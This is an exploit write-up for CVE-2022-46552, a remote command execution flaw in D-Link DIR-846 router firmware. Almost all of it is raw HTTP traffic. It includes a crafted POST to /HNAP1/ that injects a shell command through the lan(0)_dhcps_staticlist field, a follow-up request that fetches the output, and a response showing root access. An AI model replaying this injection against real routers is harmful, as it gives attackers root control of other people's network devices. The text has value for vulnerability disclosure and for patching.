D-Link DIR-846 Remote Command Execution

# Exploit Title: D-Link DIR-846 - Remote Command Execution (RCE) vulnerability # Google Dork: NA# Date: 30/01/2023# Exploit Author: Françoa Taffarel# Vendor Homepage:https://www.dlink.com.br/produto/roteador-dir-846-gigabit-wi-fi-ac1200/#suportehttps://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip# Software Link:https://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip# Version: DIR846enFW100A53DBR-Retail# Tested on: D-LINK DIR-846# CVE : CVE-2022-46552D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remotecommand execution (RCE) vulnerability via the lan(0)_dhcps_staticlistparameter. This vulnerability is exploited via a crafted POST request.### Malicious POST Request```POST /HNAP1/ HTTP/1.1Host: 192.168.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101Firefox/107.0Accept: application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonSOAPACTION: "http://purenetworks.com/HNAP1/SetIpMacBindSettings"HNAP_AUTH: 0107E0F97B1ED75C649A875212467F1E 1669853009285Content-Length: 171Origin: http://192.168.0.1Connection: closeReferer: http://192.168.0.1/AdvMacBindIp.html?t=1669852917775Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=idh0QaG7;PrivateKey=DBA9B02F550ECD20E7D754A131BE13DF; timeout=4{"SetIpMacBindSettings":{"lan_unit":"0","lan(0)_dhcps_staticlist":"1,$(id>rce_confirmed),02:42:d6:f9:dc:4e,192.168.0.15"}}```### Response```HTTP/1.1 200 OKX-Powered-By: PHP/7.1.9Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-type: text/html; charset=UTF-8Connection: closeDate: Thu, 01 Dec 2022 11:03:54 GMTServer: lighttpd/1.4.35Content-Length: 68{"SetIpMacBindSettingsResponse":{"SetIpMacBindSettingsResult":"OK"}}```### Data from RCE Request```GET /HNAP1/rce_confirmed HTTP/1.1Host: 192.168.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=ljZlHjKV;PrivateKey=846232FD25AA8BEC8550EF6466B168D9; timeout=1Upgrade-Insecure-Requests: 1```### Response```HTTP/1.1 200 OKContent-Type: application/octet-streamAccept-Ranges: bytesContent-Length: 24Connection: closeDate: Thu, 01 Dec 2022 23:24:28 GMTServer: lighttpd/1.4.35uid=0(root) gid=0(root)```